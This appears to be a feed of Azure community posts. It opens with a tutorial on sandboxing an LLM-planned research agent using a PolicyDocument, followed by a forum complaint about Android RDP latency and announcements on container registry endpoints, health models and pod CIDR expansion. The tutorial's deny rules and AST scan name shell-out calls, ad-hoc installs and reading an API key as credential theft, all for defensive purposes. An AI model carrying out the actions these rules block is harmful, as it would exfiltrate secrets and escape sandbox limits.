The provider's contribution to governance is that it makes a single PolicyDocument enforce in three different places, with the most expensive checks running last.

Before any Azure round-trip (host-side, in your process):

The host-side PolicyEvaluator (constructed once per session) evaluates deny rules over code / tool_name, tool_allowlist, and the per-call context. A deny becomes PermissionError. This runs on every execute_code call, so a denied step costs zero Azure cycles.
enforce_no_subprocess_execution then walks the snippet's AST and raises SandboxCodeViolation if subprocess.*, os.system, os.execve, os.spawn*, or wildcard imports of those modules appear. This catches the cases where a contains rule misses (e.g. obfuscated imports, from subprocess import Popen as p).

At sandbox creation (Azure-side, once per session):

aca_config_from_policy projects defaults.max_cpu / defaults.max_memory_mb onto the sandbox's CPU and memory ceilings.
network_allowlist plus defaults.network_default are turned into a typed EgressPolicy(default_action="Deny", host_rules=[EgressHostRule(pattern, action="Allow"), …]) and applied via SandboxClient.set_egress_policy. The policy is fail-closed by default — even with an empty allowlist you get a sandbox with no outbound network.

Per execution:

Azure-side, every call. The egress proxy enforces (4) on every outbound connection inside the sandbox. A blocked host produces an HTTP 403 inside the guest; the snippet's own error handler can detect that, and the provider's caller surfaces it as a blocked-at-egress outcome.
Host-side, post-exec tripwire. After SandboxClient.exec returns, the provider compares the measured duration_seconds against defaults.timeout_seconds and, if the budget was exceeded, sets result.killed=True and a kill_reason on the returned SandboxResult. This is an advisory marker, not a kill signal: the snippet has already finished, and the sandbox session itself stays alive and reusable. Acting on it (abandoning the session, surfacing a timeout decision) is the agent loop's job — see how run_step in section 6.3 turns it into a "timeout" receipt.

One PolicyDocument, six enforcement points, three different locations. The model is never trusted; each guarantee is enforced by the component closest to the resource it protects.

6. The example: an LLM-planned research agent

The agent does one thing: given a research ticket — a small JSON document like {"topic": "differential privacy", "depth": "survey"} — produce a short literature summary. To do that it needs to (a) read papers from arXiv, (b) skim associated GitHub READMEs, and (c) optionally query a local search index. Nothing else.

The interesting part is how the agent decides what code to run. A GPT-class planner is asked to break the ticket into a list of steps, each step a short Python snippet. Those snippets are then executed one at a time — each one passing through the six-point gauntlet from section 5.

6.1 Install

# agt-sandbox with the Azure provider + the policy engine pip install "agt-sandbox[azure,policy]" # Early-access Azure Container Apps sandbox SDK pip install azure-containerapps-sandbox # Optional: only needed for the LLM planner in section 5.3 pip install openai

One-time Azure setup (resource group must already exist — the provider auto-creates the sandbox group on first use, but not the resource group):

az login az group create --name agents-rg --location westus2 $env:AZURE_SUBSCRIPTION_ID = (az account show --query id -o tsv) $env:AZURE_RG = "agents-rg" $env:AZURE_REGION = "westus2"

Quick smoke check:

from agent_sandbox import ACASandboxProvider from agent_os.policies import PolicyDocument print("ok")

Ignore the deprecated warning here. The packages are in the midst of migration and will be fixed soon.

6.2 The policy

aca_research_agent.yaml — every field is a native PolicyDocument field, no Python wrapper:

name: research-agent version: "2" defaults: action: allow max_cpu: 1.0 # → sandbox CPU cap = 1000 millicores max_memory_mb: 2048 # → sandbox memory cap = 2048 MiB timeout_seconds: 90 # per-execute_code wall-clock kill network_default: deny # fail-closed (also the schema default) network_allowlist: - api.openai.com - api.arxiv.org - export.arxiv.org - "*.github.com" - pypi.org - files.pythonhosted.org tool_allowlist: - fetch_arxiv - fetch_github_readme - search_index rules: - name: deny-shell-out-subprocess condition: { field: code, operator: contains, value: "subprocess" } action: deny priority: 100 message: "shell-out blocked by research-agent policy" - name: deny-pip-install condition: { field: code, operator: contains, value: "pip install" } action: deny priority: 100 message: "ad-hoc dependency installs are not permitted" - name: deny-secret-openai condition: { field: code, operator: contains, value: "OPENAI_API_KEY" } action: deny priority: 100 message: "agents may not read host credentials" # Tool-allowlist gate. Fires only when the eval context carries a # `tool_name` — untagged execute_code calls are unaffected. - name: deny-tool-not-in-allowlist condition: field: tool_name operator: not_in value: [fetch_arxiv, fetch_github_readme, search_index] action: deny priority: 200 message: "tool not in research-agent tool_allowlist"

Two properties to keep in mind:

Network is fail-closed. Any host not on network_allowlist is denied at the Azure egress proxy. An empty allowlist produces a sandbox with no outbound network.
tool_allowlist only fires when the call is tagged. Plain execute_code_async(...) has no tool_name. Calls that pass context={"tool_name": "evil_tool"} get denied host-side.

Validate before committing:

python -m agent_os.policies.cli validate aca_research_agent.yaml # OK

6.3 The agent

import asyncio, json, os, time, uuid from dataclasses import dataclass from agent_os.policies import PolicyDocument from agent_sandbox import ACASandboxProvider from openai import AsyncOpenAI @dataclass class Step: index: int; intent: str; code: str @dataclass class StepReceipt: step_index: int; intent: str decision: str # allowed | denied-by-policy | blocked-at-egress | timeout | error reason: str | None azure_sandbox_id: str duration_seconds: float stdout_excerpt: str PLANNER_SYSTEM = """You are a research planner. Output JSON of the form {"steps":[{"intent": str, "code": str}, ...]} where each `code` is self-contained Python using only the standard library (use urllib.request for HTTP, not requests). Snippets may reach: api.arxiv.org, export.arxiv.org, *.github.com, pypi.org. No installs, no shell, no secrets.""" async def plan(client: AsyncOpenAI, ticket: dict) -> list[Step]: resp = await client.chat.completions.create( model="gpt-4o-mini", response_format={"type": "json_object"}, messages=[ {"role": "system", "content": PLANNER_SYSTEM}, {"role": "user", "content": json.dumps(ticket)}, ], ) plan = json.loads(resp.choices[0].message.content) return [Step(i, s["intent"], s["code"]) for i, s in enumerate(plan["steps"])] async def run_step(provider, agent_id, session_id, step: Step) -> StepReceipt: started = time.monotonic() try: exec_handle = await provider.execute_code_async( agent_id, session_id, step.code, context={"step_index": step.index, "intent": step.intent}, ) except PermissionError as exc: return StepReceipt(step.index, step.intent, "denied-by-policy", str(exc), session_id, time.monotonic() - started, "") res = exec_handle.result combined = (res.stdout or "") + (res.stderr or "") egress_block = "egress-blocked" in combined or "HTTP Error 403" in combined if getattr(res, "killed", False): decision, reason = "timeout", getattr(res, "kill_reason", "timeout") elif egress_block: decision, reason = "blocked-at-egress", "Azure egress proxy denied a host" elif res.success: decision, reason = "allowed", None else: decision, reason = "error", (res.stderr or "").strip()[:200] return StepReceipt( step.index, step.intent, decision, reason, session_id, time.monotonic() - started, (res.stdout or "").strip()[:200], ) async def main(ticket_path: str) -> None: ticket = json.loads(open(ticket_path, encoding="utf-8").read()) policy = PolicyDocument.from_yaml("aca_research_agent.yaml") missing = [k for k in ("AZURE_SUBSCRIPTION_ID", "AZURE_RG") if not os.environ.get(k)] if missing: raise SystemExit(f"missing env vars: {', '.join(missing)}") provider = ACASandboxProvider( subscription_id=os.environ["AZURE_SUBSCRIPTION_ID"], resource_group=os.environ["AZURE_RG"], sandbox_group="agents", region=os.environ.get("AZURE_REGION", "westus2"), disk="python-3.13", ensure_group_location=os.environ.get("AZURE_REGION", "westus2"), ) if not provider.is_available(): raise SystemExit(provider.unavailable_reason) agent_id = f"research-{uuid.uuid4().hex[:6]}" handle = await provider.create_session_async(agent_id, policy=policy) try: steps = await plan(AsyncOpenAI(), ticket) receipts = [await run_step(provider, agent_id, handle.session_id, s) for s in steps] print(json.dumps([r.__dict__ for r in receipts], indent=2, default=str)) finally: await provider.destroy_session_async(agent_id, handle.session_id) if __name__ == "__main__": import sys asyncio.run(main(sys.argv[1]))

Run it against {"topic": "differential privacy", "depth": "survey"} and you get a JSON array of receipts on stdout — one per planner step. A typical five-step plan produces output along the lines of:

[ {"step_index": 0, "intent": "fetch arXiv search results", "decision": "allowed", "reason": null, "azure_sandbox_id": "sb-7f4a92...", "duration_seconds": 1.42, "stdout_excerpt": "{\"feed\": {\"entry\": [{\"id\": \"http://arxiv.org/abs/2201.12345v2\", ..."}, {"step_index": 1, "intent": "download README for top GitHub repo", "decision": "allowed", "reason": null, "azure_sandbox_id": "sb-7f4a92...", "duration_seconds": 0.88, "stdout_excerpt": "# opendp\n\nThe OpenDP Library is a modular collection..."}, {"step_index": 2, "intent": "shell out to grep README", "decision": "denied-by-policy", "reason": "Policy denied: shell-out blocked by research-agent policy", "azure_sandbox_id": "sb-7f4a92...", "duration_seconds": 0.003, "stdout_excerpt": ""}, {"step_index": 3, "intent": "fetch related blog post from third-party site", "decision": "blocked-at-egress", "reason": "Azure egress proxy denied a host", "azure_sandbox_id": "sb-7f4a92...", "duration_seconds": 0.41, "stdout_excerpt": "egress-blocked HTTPError HTTP Error 403: Forbidden"}, {"step_index": 4, "intent": "summarize collected abstracts", "decision": "allowed", "reason": null, "azure_sandbox_id": "sb-7f4a92...", "duration_seconds": 0.32, "stdout_excerpt": "Summary: differential privacy research in 2024-2026..."} ]

Three things to notice:

Step 2 (subprocess) was rejected host-side in ~3 ms with no Azure round-trip — duration_seconds and the empty stdout_excerpt confirm it never left the host process.
Step 3 went to Azure but the egress proxy returned HTTP 403; the caller's try/except converted that into a clean blocked-at-egress decision instead of a hard failure.
The session survives both rejections. Step 4 still runs to completion — denials and egress blocks do not poison the sandbox.

What you've enforced

Concern	Where enforced	Mechanism
Shell-out, pip-install, credential exfiltration	Host process	PolicyDocument deny rules → PermissionError
Subprocess invocation that slips past substring rules	Host process	enforce_no_subprocess_execution AST scan → SandboxCodeViolation
Calls to tools outside the allowlist	Host process	deny-tool-not-in-allowlist rule
Outbound traffic to disallowed hosts	Azure egress proxy	network_allowlist → EgressPolicy (Deny + per-host Allow)
CPU / memory ceiling	Azure sandbox VM	defaults.max_cpu / defaults.max_memory_mb
Per-step wall-clock tripwire	Host, post-exec (advisory)	defaults.timeout_seconds → SandboxResult.killed=True
Audit trail	Host process	Per-step receipts from run_step

The model is never trusted. Each guarantee is enforced by the component closest to the resource it protects, and a single signed PolicyDocument drives all of them.

Closing thoughts

A few things worth keeping in mind:

One PolicyDocument is the artefact. Host-side rules, AST scan, ACA egress proxy, CPU / memory caps, timeouts — all driven by one YAML file. Treat it like code: review it, diff it, and validate it in CI.
Fail-closed by default. ACA's network_default: deny is the setting you want. Every host the agent reaches should be in the allowlist, by name, in a reviewable diff.
Read the receipts. StepReceipt JSON is the audit trail. Pipe it into Log Analytics and alert on denied-by-policy and blocked-at-egress spikes — they're either attacks or planner regressions.
The model is never trusted. Every check in this post exists because the moment you trust the model, you've also trusted whatever fed it its last few tokens.

The project lives at github.com/microsoft/agent-governance-toolkit. Issues, PRs, and war stories welcome.

ISSUE - Windows App (Android) - Input latency and frozen screens with RemoteApps and handhelds

xSOU1 — Fri, 05 Jun 2026 06:28:37 GMT

Good morning, ladies and gentlemen,

TL;DR: Current Windows App for Android changed something in the background, causing massive latency issues while input.

an announcement from end-user point of view. We are having performance and latency issues for almost eight weeks now with the current Windows App (Android). The issues are showing massive performance latency while giving input to a RemoteApp-connected Windows Terminal Server (WS2022DC).

For troubleshooting measurements, we went through EVERYTHING... Changed GPOs for connecting only via TCP instead of UDP, cleared user profiles, even provisioned new VMs with new update states, went back to March updates.

I never thought, I had to change App version (make this in an enterprise with about 100 handhelds, specifically assigned for warehouse and delivery management) to last January to solve those issues...

We definitely need more transparent patch notes (really Microsoft? 2026 and you push updates without any release notes published, not even known issues?!) and a way to downgrade versions without re-provisioning the whole RDP client for Android...

I am looking forward to hearing from other parts of the world, using RemoteApps with Android handheld scanner and RDS2022.

Best regards,

xSOU1 | Jules

Regional Endpoints for Azure Container Registry Geo-Replication — Now in Public Preview

johnsonshi_msft — Fri, 05 Jun 2026 06:12:53 GMT

By Johnson Shi, Zoey (Zhuyu) Li, Huangli Wu

What's new

Regional endpoints for geo-replicated Azure Container Registries are now in public preview. See the feature's official MS Learn documentation. If you've been following since the private preview announcement, here's what changed:

No feature flag registration. No subscription enrollment so all Azure subscriptions and customers can now use this feature.
No CLI extension. Regional endpoints commands are built into Azure CLI 2.86.0+ natively. If you installed the private preview acrregionalendpoint extension, uninstall it to avoid conflicts.
Native CLI and portal support.
- With Azure CLI 2.86.0+, enable regional endpoints for all geo-replicas of a registry with az acr create --regional-endpoints enabled or az acr update --regional-endpoints enabled.
- The Azure portal also supports configuring regional endpoints natively.
CLI flag rename for configuring a geo-replica's global endpoint routing (an existing separate feature). The existing flag --region-endpoint-enabled (on az acr replication create/update) has been renamed to --global-endpoint-routing.
- Key clarifications:
  - "--global-endpoint-routing" (formerly "--region-endpoint-enabled" on "az acr replication create / az acr replication update") — controls whether a specific geo-replica participates in global endpoint routing. This is an existing feature that is different from the new registry-level "--regional-endpoints" feature being discussed in this post.
  - "--regional-endpoints" (on az "acr create / az acr update") — enables or disables the regional endpoints feature at the registry level for all geo-replicas. This is the feature discussed in this post.
- See the endpoint reference for the full breakdown of the various registry endpoints (global endpoints, regional endpoints, and data endpoints).

Regional endpoints are available on Premium SKU registries in all Azure public cloud regions.

What are regional endpoints?

Regional endpoints give you dedicated, per-region login server URLs for each geo-replica with the following URL pattern:

myregistry.eastus.geo.azurecr.io
myregistry.westeurope.geo.azurecr.io

Regional endpoints coexist with the registry's global endpoint (myregistry.azurecr.io) — enabling regional endpoints doesn't disable a registry's global endpoint that is backed by Azure-managed routing. You can choose per workload:

You can use the global endpoint with automatic Azure-managed routing with health-aware failover, where Azure will route your requests to the geo-replica with the best network performance profile to the client.
You can use a regional endpoint when you need explicit control or routing to a specific geo-replica.

Other resources:

For the full background on why regional endpoints exist and the problems they solve, see the private preview blog post.
For the complete operational deep dive — health-aware failover, throttling considerations, storage quota and pricing, eventual consistency, home region outage behavior, DNS propagation, private endpoint interaction, capacity planning, and monitoring guidance — see How ACR geo-replication handles failover, failback, and traffic redirection.
For the behind-the-scenes engineering implementation — architectural overview and the engineering system design of the feature — see Determinism over magic: the engineering design behind Azure Container Registry Regional Endpoints.

Getting started

Enable regional endpoints on an existing registry:

az acr update -n myregistry -g myrg --regional-endpoints enabled

View all registry endpoint URLs, including the registry global endpoint, geo-replica regional endpoints, and data endpoints:

az acr show-endpoints --name myregistry --resource-group myrg

Using regional endpoints

Authenticate to a specific regional endpoint:

az acr login --name myregistry --endpoint eastus

Push to a specific geo-replica.

Images and tags pushed to a geo-replica via regional endpoints still propagate to all other geo-replicas under eventual consistency.

docker tag myapp:v1 myregistry.eastus.geo.azurecr.io/myapp:v1 docker push myregistry.eastus.geo.azurecr.io/myapp:v1

Pull an image:

docker pull myregistry.eastus.geo.azurecr.io/myapp:v1

You can specify regional endpoints directly in Kubernetes deployment manifests if you need to pin workloads to specific regions. This ensures clusters in specific regions always pull from their colocated replica, providing predictable routing and reduced latency.

By using different regional endpoints in each cluster's manifests, you can choose to guarantee that each cluster pulls from its local replica instead of relying on Azure-managed routing.

East US cluster deployment:

apiVersion: apps/v1 kind: Deployment metadata: name: myapp-eastus spec: template: spec: containers: - name: myapp image: myregistry.eastus.geo.azurecr.io/myapp:v1

West Europe cluster deployment:

apiVersion: apps/v1 kind: Deployment metadata: name: myapp-westeurope spec: template: spec: containers: - name: myapp image: myregistry.westeurope.geo.azurecr.io/myapp:v1

When to use regional endpoints

Scenario	What to do
Most workloads	Keep using the global endpoint (`myregistry.azurecr.io`). Health-aware failover handles routing automatically.
Pin AKS clusters to co-located replicas	Use regional endpoint URLs in deployment manifests.
CI/CD push-then-pull consistency	Pin pushes to a regional endpoint to avoid eventual-consistency races.
Client-side failover	Switch between regional endpoints based on your own health checks.
Capacity planning	Spread workloads across multiple regional endpoints to avoid per-replica throttling.
Troubleshooting	Target a specific geo-replica to reproduce or isolate an issue.

What changed from private preview

Private preview	Public preview
Feature flag registration required (`az feature register`)	No registration needed
Subscription private preview enrollment and propagation wait	Immediately available to all Azure subscriptions for all Premium SKU registries in all Azure public cloud regions.
Separate CLI extension (`acrregionalendpoint`)	Built into Azure CLI 2.86.0+ natively
No registry-level CLI flag	`az acr update --regional-endpoints enabled` enables regional endpoints for all geo-replicas
`--region-endpoint-enabled` flag for controlling a geo-replica's global endpoint routing via `az acr replication update`	Flag for controlling a geo-replica's global endpoint routing renamed to `--global-endpoint-routing`
No portal support	Native Azure portal support for enabling regional endpoints for new registries (during creation) and for existing registries
Private preview docs in Azure/acr	Full documentation on MS Learn

Enabling regional endpoints in the Azure portal

You can enable regional endpoints directly from the Azure portal for both new registries (during creation), as well as existing registries:

If you were in the private preview

1. Uninstall the CLI extension.

The private preview CLI extension conflicts with the built-in commands in Azure CLI 2.86.0+. Remove it:

az extension remove --name acrregionalendpoint

Verify it's gone:

az extension list --query "[?name=='acrregionalendpoint']" -o table

2. Ensure you're running Azure CLI 2.86.0 or later.

Regional endpoints commands are available natively starting in Azure CLI 2.86.0. Check your version:

az version

3. Update scripts that use --region-endpoint-enabled for controlling global endpoint routing for a geo-replica.

The old flag name for controlling a geo-replica's global endpoint routing configuration is deprecated and will be removed in Azure CLI 2.87.0 (June 2026). Update to --global-endpoint-routing:

# Old (deprecated) az acr replication update --registry myregistry --name westus \ --region-endpoint-enabled false # New az acr replication update --registry myregistry --name westus \ --global-endpoint-routing false

Why the rename? The old flag name --region-endpoint-enabled was confusing — it sounded like it controlled the regional endpoints feature, but it actually controlled whether a geo-replica participates in global endpoint routing. The new name --global-endpoint-routing says exactly what it does. For a full breakdown of all three CLI flags and how they relate, see the endpoint reference.

Learn more

Full documentation: Geo-replication in Azure Container Registry — Regional endpoints — prerequisites, CLI commands, network considerations, private endpoint integration, and troubleshooting.
Operational deep dive: How ACR geo-replication handles failover, failback, and traffic redirection — health-aware failover, throttling, eventual consistency, DNS considerations, monitoring, pricing, and a full walkthrough.
Behind-the-scenes engineering implementation: Determinism over magic: the engineering design behind Azure Container Registry Regional Endpoints — architectural details and the engineering system design behind the feature.
Endpoint reference: Azure Container Registry endpoint reference — all endpoint types, URL formats, and CLI flags in one place.
Private endpoints: Connect privately to a registry using private endpoints — IP allocation math, subnet sizing, and NIC queries for registries with regional endpoints.
Firewall rules: Configure firewall access rules — which FQDNs to allow for regional endpoints.

Feedback

We'd love to hear how you're using regional endpoints and what we can improve. Reach out via:

Azure Container Registry GitHub repository — issues, feature requests, and discussion
Azure portal feedback — use the feedback button in the Azure portal on your registry's page

Regional endpoints are on the path to GA. Your feedback directly shapes the feature's direction.

Azure Monitor Health Model (Preview): What's New!

shijain13 — Fri, 05 Jun 2026 01:30:56 GMT

Azure Monitor Health Model is a modern observability capability that brings together telemetry, architecture, and business context of your workloads to generate health insights. It continuously aggregates signals across dependencies, producing a single, actionable health state which reduces alert noise and shifts team toward proactive operations with cohesive system view, clearer insights, and faster troubleshooting.

It addresses the common operation question 'Is my system/service/app healthy?' and 'Which underlying unit / component is impacting health?'

This refresh introduces flexible, workload-centric discovery (use application insights topology, Azure resource graph queries in addition to designing user and system flows) and smarter, faster health signal creation (use recommended signals, import existing alert rules, set dynamic thresholds).

Expanded Discovery Scope

As customers began modeling increasingly complex applications, we identified an opportunity to make discovery more flexible and intuitive. Teams naturally reason about their systems differently; some at the application level, others through infrastructure fleets or telemetry views. By expanding discovery options, we enable customers to build health models using the constructs they already use, making it easier to evolve health models as applications and architectures change.

Azure Monitor health models now support multiple discovery mechanisms:

Application Insights–based discovery for application-centric modelling
Azure Resource Graph (ARG) discovery for scalable, query-based resource selection
Continued support for Service Groups, now including nested Service Groups, as part of a broader set of discovery options

This evolution reflects a shift toward loosely coupled modelling, enabling customers to define health based on application architecture rather than infrastructure-centric grouping. Learn more about Discovery

Discovery Rule

Extended Health Signals

Our goal has been to help customers achieve meaningful health insights faster with less manual effort. By introducing platform defaults and surfacing recommended signals, we make it easier to align health models with proven Azure best practices from day one. At the same time, we preserve support for existing alerting strategies and investments, ensuring customers can extend rather than replace what they already have. These enhancements balance simplicity, guidance, and flexibility as environments scale.

Health Models now supports the following health signal capabilities:

Resource Health as a default signal, ensuring every model starts with a reliable platform-provided baseline
Recommended signals, automatically surfaced based on Azure service best practices and enhanced through Azure Monitor Baseline Alerts (AMBA) integration
Reuse of existing signals, enabled by importing Azure Monitor alert rules as health signals

Learn more about Signals

Signals - Recommended and Import from Alert Rules for Azure Resources

Introducing Health Aggregation Rules

Modern cloud applications are built for resiliency, redundancy, and tolerance of partial failure. Health Models are designed to reflect this reality by enabling customers to define what “healthy” means for their architecture. Flexible aggregation rules allow teams to model intent rather than individual component states, producing health views that better align with operational priorities and business impact.

Health Models now supports advanced aggregation logic, enabling the following types of scenarios:

Regional resiliency aggregation using numeric thresholds (e.g., 2 out of 4 regions must remain healthy)
Cluster and fleet health aggregation using percentage thresholds (e.g., 60% of VMs in a cluster must be healthy)

This enables modelling resiliency patterns, partial failures, and graceful degradation, providing a more accurate view of real business impact.

Import Custom Signal

Health is most valuable when it reflects both system behavior and application context. By enabling custom health inputs, customers can incorporate signals that are closest to their business logic and application state. Contextual annotations further enrich analysis, making health timelines easier to interpret and correlate with change events.

To support this, Health Models now provides for:

Custom health report ingestion for external application and system health signals
Data annotations to overlay deployments, incidents, and configuration changes on health state

Alert Experience

To proactively learn about health state change, health models allow creating Alert rules and associated action group trigger automated responses sich as notifying user. It is now possible to view all the alerts on a Health Model and start troubleshooting.

Alerts in Health Model Note: To avail these new capabilities, upgrade your health models to the new API version using built-in migration wizard in Azure portal for a simple, guided experience.

Alerts in Health Model

Note: To avail these new capabilities, upgrade your health models to the new API version using built-in migration wizard in Azure portal for a simple, guided experience.

Pod CIDR Expansion Generally Available and IP Address Planning on Azure CNI Overlay

Sam_Foo — Fri, 05 Jun 2026 00:14:24 GMT

In networking with Azure CNI Overlay, the cluster-wide pod CIDR is logically partitioned into smaller “node” blocks where each node is assigned a fixed CIDR slice (/24) by Azure. This decouples pod networking from the VNet address space entirely because pods receive addresses from a private CIDR that is separate from the VNet.

By default, Azure CNI Overlay uses a pod CIDR of 10.244.0.0/16 which provides 65,536 addresses. Since each node consumes 256 addresses from the /24 slice, the default cluster has a node scaling limit of 65,536 divided by 256, or 256 nodes. Choosing a pod CIDR at cluster creation effectively sets an upper bound on how many nodes the cluster can accommodate.

Pod CIDR	Per-Node Block	Max Nodes Supported
/16	/24	256
/15	/24	512
/14	/24	1,024

What does Pod CIDR Expansion enable?

Even with careful upfront planning, long-lived clusters grow in ways that are difficult to anticipate. For organizations using Azure CNI Overlay, this previous represents a difficult migration without meticulous IP planning.

Pod CIDR expansion allows you to expand the existing CIDR without downtime or node reimaging. Instead of being locked to the range chosen at cluster creation, operators can expand the available pod address space with minimal operational burden.

Choosing a Pod CIDR

In addition to node scaling limits, there are other considerations for pod CIDR planning:

Overlapping pod CIDRs across clusters – even though pod IPs are not directly routable between clusters, overlapping CIDRs can cause problems with observability tooling or cross-cluster networking on top of the overlay. Careful planning can prevent having to recreate the cluster down the road.
Accounting for system node pools – each system node also consumes a /24 block. IP address planning should factor nodes running cluster control plane components in addition to existing workloads.